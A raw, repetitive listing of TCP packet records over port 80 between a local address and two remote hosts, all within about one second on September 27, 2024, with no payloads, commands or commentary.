Sep 27, 2024 16:18:21.763732910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763753891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763762951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763773918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763782978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763794899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763802052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763837099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763839960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763849020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763858080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763870001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.763874054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.763915062 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806549072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806619883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806658983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806682110 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806711912 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806721926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806734085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806745052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806771040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806797028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806812048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806824923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806835890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806853056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806859970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806902885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.806976080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.806987047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807002068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807013988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807022095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.807024956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807037115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807049036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807059050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807060003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.807097912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807106018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.807112932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807137012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.807168961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807173014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.807178974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.807202101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.807224989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811011076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811024904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811034918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811088085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811098099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811113119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811124086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811139107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811157942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811165094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811175108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811213017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811220884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811229944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811240911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811245918 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811253071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811265945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811269999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811271906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811283112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811294079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811296940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811304092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811331987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811378002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811378002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811412096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811424971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811458111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811482906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811496019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811507940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811518908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811530113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811541080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811552048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811563015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811563015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811572075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811620951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811641932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811651945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811662912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811674118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811680079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811683893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811695099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811722994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811738014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811769962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811769962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811825991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811836004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811846972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811860085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811867952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811876059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811887026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811897993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.811908960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811920881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811932087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811949015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811949015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811949015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.811979055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.811985016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.811995029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.812005997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.812016964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.812026024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.812032938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.812073946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.812189102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812263966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.812284946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812300920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812313080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812324047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812335014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812362909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.812362909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.812407970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.812556982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.812676907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.813263893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813275099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813286066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813319921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.813357115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.813410997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813424110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813435078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813446045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.813462973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.813481092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.813520908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.813963890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814004898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814016104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814022064 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814047098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814059019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814069986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814069986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814080954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814096928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814100981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814114094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814126015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814141035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814167976 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814239025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814249039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814271927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814275980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814291954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814301968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814315081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814320087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814326048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814338923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814359903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814383984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814637899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814678907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814711094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814721107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814733028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814743996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814750910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814770937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814774990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814786911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814798117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814815998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814835072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814846039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814856052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814857960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814887047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814910889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.814924955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814935923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814945936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814958096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.814970016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815009117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815555096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815567970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815579891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815607071 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815618992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815629005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815633059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815640926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815650940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815661907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815674067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815675974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815717936 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815814018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815823078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815834045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815845966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815855026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815855980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815867901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815877914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.815882921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.815926075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.818428040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.837883949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.837930918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.837941885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.837980986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.837991953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838035107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838042974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838042974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838056087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838068008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838078976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838107109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838134050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838149071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838160992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838167906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838179111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838218927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838218927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838234901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838246107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838255882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.838295937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.838320971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839612007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839654922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839664936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839706898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839715004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839715958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839725971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839740992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839782000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839807987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839828968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839839935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839903116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839946985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839981079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.839996099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.839996099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840008020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840024948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840035915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840045929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840045929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840095997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840106010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840117931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840126991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840142012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840142012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840173960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840184927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840194941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840215921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840224981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840224981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840265989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840379953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840390921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840406895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840418100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840425014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840425014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840436935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840460062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840470076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840480089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840491056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840507984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840518951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840528011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840539932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840555906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840555906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840601921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840610981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840621948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840632915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840655088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840655088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840677023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840764999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840775013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840785980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840796947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840807915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840818882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840830088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840850115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840867996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840926886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840938091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840949059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840960026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840966940 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840966940 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.840982914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.840993881 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841006041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841046095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841046095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841070890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841088057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841099977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841109991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841120005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841128111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841156960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841169119 CEST	80	49615	185.215.113.117	192.168.2.6
